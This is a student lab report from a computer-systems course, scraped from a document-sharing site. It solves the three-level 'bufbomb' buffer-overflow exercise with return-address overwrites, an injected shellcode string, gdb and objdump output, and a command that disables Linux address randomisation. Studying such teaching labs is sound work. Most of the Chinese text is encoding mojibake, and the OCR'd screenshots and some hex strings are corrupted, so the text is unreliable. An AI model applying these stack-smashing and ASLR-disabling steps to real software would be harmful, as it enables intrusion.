




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、深圳大學(xué)實(shí)驗(yàn)報(bào)告課程名稱:計(jì)算機(jī)系統(tǒng)(2)實(shí)驗(yàn)項(xiàng)目名稱: 緩沖區(qū)溢出攻擊實(shí)驗(yàn)學(xué)院:計(jì)算機(jī)與軟件學(xué)院專業(yè):指導(dǎo)教師:羅秋明報(bào)告人: 學(xué)號(hào): 班級(jí): 實(shí)驗(yàn)時(shí)間:2017年5月12日實(shí)驗(yàn)報(bào)告提交時(shí)間:教務(wù)處制一、實(shí)驗(yàn)?zāi)繕?biāo):1. 理解程序函數(shù)調(diào)用中參數(shù)傳遞機(jī)制;2. 掌握緩沖區(qū)溢出攻擊方法;3. 進(jìn)一步熟練掌握 GDB 調(diào)試工具和 objdump 反匯編工具。二、實(shí)驗(yàn)環(huán)境:1. 計(jì)算機(jī)( Intel CPU)2. Linux32 位操作系統(tǒng)( Ubuntu 16.04)3. GDB 調(diào)試工具4. objdump 反匯編工具三、實(shí)驗(yàn)內(nèi)容本實(shí)驗(yàn)設(shè)計(jì)為一個(gè)黑客利用緩沖區(qū)溢出技術(shù)進(jìn)行攻擊的游戲。 我們僅給黑客
2、 (同學(xué)) 提 供一個(gè)二進(jìn)制可執(zhí)行文件 bufbomb 和部分函數(shù)的 C 代碼,不提供每個(gè)關(guān)卡的源代碼。程序 運(yùn)行中有 3 個(gè)關(guān)卡,每個(gè)關(guān)卡需要用戶輸入正確的緩沖區(qū)內(nèi)容,否則無法通過管卡!要求同學(xué)查看各關(guān)卡的要求,運(yùn)用 GDB 調(diào)試工具和 objdump 反匯編工具 ,通過分析 匯編代碼和相應(yīng)的棧幀結(jié)構(gòu) , 通過緩沖區(qū)溢出辦法在執(zhí)行了 getbuf() 函數(shù)返回時(shí)作攻擊,使 之返回到各關(guān)卡要求的指定函數(shù)中。 第一關(guān)只需要返回到指定函數(shù), 第二關(guān)不僅返回到指定 函數(shù)還需要為該指定函數(shù)準(zhǔn)備好參數(shù), 最后一關(guān)要求在返回到指定函數(shù)之前執(zhí)行一段匯編代 碼完成全局變量的修改。實(shí)驗(yàn)代碼 bufbomb 和相
3、關(guān)工具( sendstring/makecookie )的更詳細(xì)內(nèi)容請(qǐng)參考“實(shí)驗(yàn)四 緩沖區(qū)溢出攻擊實(shí)驗(yàn) .pptx ”。本實(shí)驗(yàn)要求解決關(guān)卡 1、2、 3,給出實(shí)驗(yàn)思路,通過截圖把實(shí)驗(yàn)過程和結(jié)果寫在實(shí)驗(yàn)報(bào) 告上。四、實(shí)驗(yàn)步驟和結(jié)果首先是 makecookie:yangltbin_201440329ubuntu:-$ £udo susudo password for yangItbtn_2&14040329;rootubuntu:/hone/yanqlibin_2&14040229# cd Desktop/ rootubtntu r/heme/yanglibi n_301
4、404B139/Desktop# file nakecDokie -nakecookie: ELF 32 - bit LSB executable, Intelversion 1 (SYSV), dynamically linked, Interpreter /Ltb/ld-llruxsoz, for GNU/Lt nux 2.6.9f not strippedrootubuntu:/hone/yanglibtn_2614O40329/Desktap# chod 士k nakecookirootubuntu:/bcne/yanglibtn 2614040329/Desktop# ,/nakec
5、ookie ylb 0x?3977?d5rootgubuntu:/heme/yangItbxn_2G14040329/Desktop# |步驟1返回到smoke()1.1解題思路步驟1是要修改getbuf()的返回地址,在執(zhí)行完getbuf()后不是返回到原來的調(diào)用 者test(),而是跳到一個(gè)叫做smoke()的函數(shù)里。只需構(gòu)造一段字符串讓 Gets()全部拷貝到buf數(shù)組了,從而造成緩沖區(qū)溢出。同 時(shí)最重要的一點(diǎn)是:將smoke()函數(shù)的初始地址也放到構(gòu)造的字符串內(nèi),使其恰 好覆蓋到 getbuf()的 return address位置。1.2解題過程首先要知道smoke()的初始地址,用
6、objdump查看符號(hào)表OS04Bt?60 耳9OB9494HO g c thunk.bx0&4aeO gbaLjoFfSEtgBBO4ae04 ouoeeeoo CBMaUe BMOfleiSO eaa4a&O0 0904eld4 069194d8 ed£)0006590 萌oeeeoo o&aoeeooOSMalSB ebaoe»oo 帕如遇o C&00C500QTABl IF.L”t O»OOO04e *A85* neaea»no .text neooeeoo*abs* aaoBSBeoJND* 0&0600
7、43*g萌如®帕4*UWD* d 帕MB32ABS* 80308000.bsi 00066004,radatQC&M054F rF或 £« D D D t D 0 D00300031怕冷尋帕軸 aooeas9s eeooeaeo ooeooaeBBQ48f40|6804Beb0|eeoeoeeo&04aidofi9006000OBOQeBDOCBM8V1Sfl&flOflBftOt)99QBBa0-tfXt 03900923 .text 06066023 *JND* aaoee&i?.t»SS 怙前帕$4 *11ND*
8、187;0de«039*JND* QOOCQadC .text OMO0e4e *10* 日血陽昶5口* flaaeaBJiru;_edata.hidden 16B&.get pThidden _GLOendnenSettcGLlB 匚_2.日 itdln®CLlBC Le 5pc憾筋LT肚二2.1 _lnlt_array_start optergGLl6C_2.0_IO_stdin_ussrandQrGLB匚 2.9 prtnt十劇砂CiLlBC 2.6 fwrite£GLlBC,2.G _dta_startIQ gtttCLlBC z. 0 _Jv_R
9、#giiterCl.asse5 _ctype_b_locCLIBCbuhandlrr snok? rand3GLl&C_2,O Lean alarGLlBC_2.e cusertd 電 GLl:_2.o bdriq_gn&h $tart_ rtrcpyGLiec- 3,Bsmoke的初始地址是0x08048eb0°buf第一個(gè)元素的地址是-0x18,而return address第一個(gè)字節(jié)的地址是0x04,兩個(gè)位置的相差換算成十進(jìn)制就是 0x04 - (-0x18) = 4 + 24 = 2&也就是說我們要構(gòu)造28個(gè)字符,然后加上smoke()的地址就能準(zhǔn)確覆
10、 蓋至U return address了。1.3最終結(jié)果截圖r aotubur tu ! /hofne/yanllbin_2&1494e325/Desktop# raotubuntu:/hone/yanglibin_2&104C39/De5ktop# it* txt> eKplott raWi txtrootubuntu: /hone/yanglibiri_7eM04e329/Dektop# t | bufbcmb -t ylbbufbomb: cinmand not foundroot0uburtu;/hone/vnqltbtn 291494&329/Deskt
11、op# t |./hufbonb -t ylbTeen: ylbcookie: 0X239772d5Type stringrSnoke!: You called snoketJNICE JOBlSent validatton infornmtlcin to grading servervt exploit.txt* / 5endstring *;explcat exploit_raw-txC3t exploit rawHtxoat電ubuntu JhoEEf斗3斗電步驟2返回到fizz()并準(zhǔn)備相應(yīng)參數(shù)2.1解題思路通過objdump -t查看符號(hào)表中fizz()函數(shù)的初始地址。拿到了地址 0
12、x08048e60, 只要用它替換掉之前exploit.raw中smoke()的地址就能讓getbuf()執(zhí)行完畢后返 回到fizz()中。然后用makecookie生成我的用戶名ylb。以getbuf()調(diào)用Gets()為 例,看一下調(diào)用者的代碼和對(duì)應(yīng)的棧。2.2解題過程rot>t<j bun tui i /hone / y a ng Libi n_2614(M0329 /De s kt op* objdunp -S -d t b1 :lufbonb |grep -A15yJ亡* * ¥SB48adO15Spush%ebpk朋找咼:&9e5nOvB048ad3:
13、83ec28sub5&x28esp8&4Badl6i8d45e8lea-ftxl8(Kebp)JKeaMB64S0d9;B98424navA804fladc:e8dffeffffcallRO4R9c0 *;GetuftflilRflPl :c9leavpa04&a&2:b8ei0050Q6novKI8043d&TrC3retaES:9©napSB48ae9£Sdb426eoae £)o solea8xe!fiesi.KelzSrsiafiGSdfe4Vdliddte->:5Spush%ebpsaadfii89e5nov
14、耗豐土p監(jiān)£bpB04fiC66:pushxebpBMBefil:S9e5ROVNesp,Xebp83ecoesub8b4508RQV0x8(set>p) ,%eax3b輕al&4燈8CHpQx8S4aid46048etjf:74If8948&?1:89442404ROWfi-JAi jI a»T£ c70424昶 04 98RQvl$&x80斗和t心吊p)Trash27ffffcalla&487d0 «prtntffpltrootubuintu : /hare/yanglib Ln_2fll4640S29/l&am
15、p;e5>ktDp# ob jdurp -d buf bonb | grep -A36u先分析出從getbuf()函數(shù)結(jié)束后,到調(diào)用fizz()函數(shù)前棧的情況:0x0c 即將是fizz()棧區(qū)0x08 即將是fizz()棧區(qū)0x04getbuf()的返回地址(即fizz()的地址)<-%esp0x00getbuf()中 %ebp 的保存值得知,在返回并調(diào)用fizz()前,棧指針指向0x04處(相對(duì)getbuf()中的%ebp為0x00),隨后fizz()調(diào)用時(shí),會(huì)把fizz()的%ebp值壓入棧中,8048e66:8b 45 08mov 0x8(%ebp),%eax8048e69:
16、3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax再結(jié)合這兩行代碼得知,fizz()函數(shù)的傳入?yún)?shù)是應(yīng)該存放在 0x8(%ebp)處的,棧 的情況應(yīng)變?yōu)椋?x0c fizz的傳入?yún)?shù)0x08 fizz()的返回地址0x04 fizz()中%ebp的保存值 <-%esp (因?yàn)閴簵?,getbuf()的返回地址被替換)0x00getbuf()中 %ebp 的保存值628192262728608e0408這串字符串剛覆蓋到 0x08,即還需要覆蓋 4個(gè)字節(jié),然 后傳入黑客cookie值./makecookie ylb利用該命令獲得個(gè)人黑客 cookie值為0x239772
17、d5黑客cookie值依據(jù)小端法調(diào)整為96 3c df 30,cookie值前方還需覆蓋4個(gè)字節(jié), 故得到完整字符串內(nèi)容為:628192262728608e4d57297230d-t ylbcat exploit2.txt | ./se ndstri ng | ./bufbomb最后通過以上指令來把字符串內(nèi)容構(gòu)造并輸入到bufbomb程序中2.3最終結(jié)果截圖rootubuntu:/hoe/anglibin_261404&325/Desktoptt cat exploits.txt | /seridstrtng | »/bufbomb t ylbTeam: ylbCookte:
18、 0x239772d5Type string : Fizz! i You ca 11 ed f izz(0)c239772d5)NICE JOB ISent vdltddttan Infor nidtton to gr ddlnit sei verYou hve new matt tc /var/matl/roDt步驟3返回到bang()且修改global_value3.1解題思路因?yàn)槿肿兞颗c代碼不在一個(gè)段中,所以我們不能讓緩沖區(qū)一直溢出到.bss段(因?yàn)間lobal_value初始化為0,所以它會(huì)被放在.bss而非.data段以節(jié)省空間) 覆蓋global_value的值。若修改了 .bs
19、s和.text之間某些只讀的段會(huì)引起操作系統(tǒng) 的“警覺”而報(bào)錯(cuò)。所以在進(jìn)入ban g()之前我們需要執(zhí)行一小段我們自己的代碼 去修改global_value,這一段代碼就叫做 exploit code。3.2解題過程a. bang()和 global_value 地址rootubuntu:J/hone/ydngllbin_2ei4a4e3?9j/Desktop# objdunp 譏 bufbonb | grep -e bang -e globalvalu30O4dlc4 g0 .bssD80<48el0 gF .text 0000004croorgubuntd:/hop>e/yan
20、gllbtn zoiA04e329/oesktopff |得到 bang()的入口地址 0x08048e10,以及 global_value 的地址 0x0804a1c4利用gdb調(diào)試獲得buf字符數(shù)組的首地址,即是注入代碼的首地址。gdb bufbomb;調(diào)試程序disass getbuf ;查看getbuf的匯編代碼站 7 畚“耳a 丁7 7 L 工f 1 V11(gdb) dlsass getbufDump of assembler codefor function getbuf:0xQ8048adO<+0> ;push%eb|pOx&8O8ddl<tl>
21、;iriovXesipiWebpOx&8048ad3<+3> :sub50x28,Mesp6x08048ad6<+6> :lea-0xl8(3fiebp),%eaxx&8048ad9<49>:IFOV%eaxf(%esp)Ox&8048adc<412>:callGx80489ce <GetS>0xOS04Sel<+17>;leave幻耳&3048aeZ<+135:novSexleaxOx&8048ae7<+23>:retEnd of assembler dump,
22、If _ -II- +_給getbuf()設(shè)置斷點(diǎn),程序把斷點(diǎn)設(shè)置在0x8048ad6(gdb) b getbufBreakpoint 1 at 0x8948ad6(gdb)run - t ylb ;運(yùn)行程序p $ebp-0x18;由 lea -0x18(%ebp),%eax分析出 buf 地址為 %ebp地址-0x18(gdb) un -t ylbstarting program: /home/yangltbtn_zo14040J29/Desktop/bufbomb -t yl bTeam; ylbCookie:Breakpoint 1, 0xO3e48ad6 tn getbuf ()(gd
23、b) p 5ebp-exl8$1 - (void *) Oxbfffb?ao(gdb I得出buf地址,也即注入代碼地址應(yīng)為 接下來編寫注入代碼(匯編代碼).code32movl $0x333382e2, 0x0804a1c4pushl $0x08048e10ret0xbfffb930;讓gcc以32位模式來編譯; 令 global_value = cookie 值;%esp -> bang 入口地址;ret ban g()gcc - c exploit_code.sobjdump d exploit_code.o/編譯匯編文件為可重定位文件.s -> .o查看可重定位文件的內(nèi)容r
24、aotubuntu:>horw/yaflflltbln_z014O4G3?9/D«ktop# vt explott_ccde,s rooTubuntu:/hone/yangitbtn /Orsktopf gre c cxplott cod .5rwtubuntu;/hone/yanglibin_2014M032V/>«kt p# objdunp -d expluit cod?.QfxpLoit Cfldfr.o:Ttli format elLt32-1386DtSSnbly of section ,text:e;c7&5C4 al 64OS e2novi
25、$0x3335B2e2,7:82 33 33a:fiB19Be 64 GSpu占h$0x64813ft 3retIraoTubunt u i / horw/yanflltliln_2ei4eW29/Desktop< |最終獲得注入代碼的16進(jìn)制機(jī)器碼,為16字節(jié)。在第1題中返回地址前有 28個(gè)字節(jié)的空間,故在注入代碼后面仍需補(bǔ)充12個(gè)字節(jié)的空間,為方便計(jì)數(shù)定為0112,緊接著則是buf的地址,讓getbuf()返回時(shí)跳轉(zhuǎn)到注入代碼的首地址, 按照小端法,buf地址應(yīng)為30 b9 ff ff,故完整字符串為:C7 05 c4 a1 04 08 e2 82 33 33 68 10 8e 04
26、 08 c3 01 02 03 04 05 06 07 08 09 10 11 12 30 b9 ff bf 0d忽略空格(和下劃線)后,得到 exploit3.txt的內(nèi)容為:C705c4a10408e282333368108e0408c36230b9ffbf0dLinux內(nèi)存地址有隨機(jī)化機(jī)制,若隨機(jī)化機(jī)制打開,那么每次運(yùn)行程序,%ebp的 地址可能是不一樣的,即 buf地址無法確定(注入代碼開始地址無法確定),這 樣的話,注入代碼將無法正確編寫。所以需要先關(guān)閉Linux內(nèi)存地址隨機(jī)化機(jī)制, 才能完成實(shí)驗(yàn)。可以通過設(shè)置kernel.randomize_va_space內(nèi)核參數(shù)來設(shè)置內(nèi)存地址隨機(jī)化的行為# echo 0 >/proc/sys/kernel/ra ndomize_va_spacerootubuntu:/home/yanglibtn_2B14040329/Dktoprt vt exploits.txt rootubuntu:ngl
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 材料員崗位面試問題及答案
- 廣東省揭陽市產(chǎn)業(yè)園2025屆化學(xué)高一下期末綜合測(cè)試試題含解析
- 天津耀華嘉誠(chéng)國(guó)際中學(xué)2025屆高二化學(xué)第二學(xué)期期末預(yù)測(cè)試題含解析
- 湖北省仙桃、天門、潛江三市2025屆高一下化學(xué)期末監(jiān)測(cè)試題含解析
- 北斗監(jiān)控動(dòng)態(tài)管理辦法
- 農(nóng)村產(chǎn)權(quán)交易管理辦法
- 保安制服收繳管理辦法
- 北京招聘醫(yī)療管理辦法
- 制程物料標(biāo)識(shí)管理辦法
- 新質(zhì)生產(chǎn)力背景下元宇宙賦能圖書館數(shù)字化轉(zhuǎn)型的策略與挑戰(zhàn)
- 廣州市藝術(shù)中學(xué)招聘教師考試真題2024
- 工業(yè)自動(dòng)化設(shè)備保修及維修管理措施
- 期末作文預(yù)測(cè)外研版七年級(jí)英語下冊(cè)
- 2025-2030中國(guó)兒童魚油行業(yè)銷售動(dòng)態(tài)及競(jìng)爭(zhēng)策略分析報(bào)告
- 統(tǒng)編版五年級(jí)升六年級(jí)語文暑期銜接《課外閱讀》專項(xiàng)測(cè)試卷及答案
- 小小理財(cái)家課件
- DB43-T 2622-2023 醫(yī)療導(dǎo)管標(biāo)識(shí)管理規(guī)范
- 譯林版一年級(jí)下冊(cè)全冊(cè)英語知識(shí)點(diǎn)梳理
- 案場(chǎng)物業(yè)制度管理制度
- 護(hù)理事業(yè)十五五發(fā)展規(guī)劃(2026-2030)
- CJ/T 316-2009城鎮(zhèn)供水服務(wù)
評(píng)論
0/150
提交評(píng)論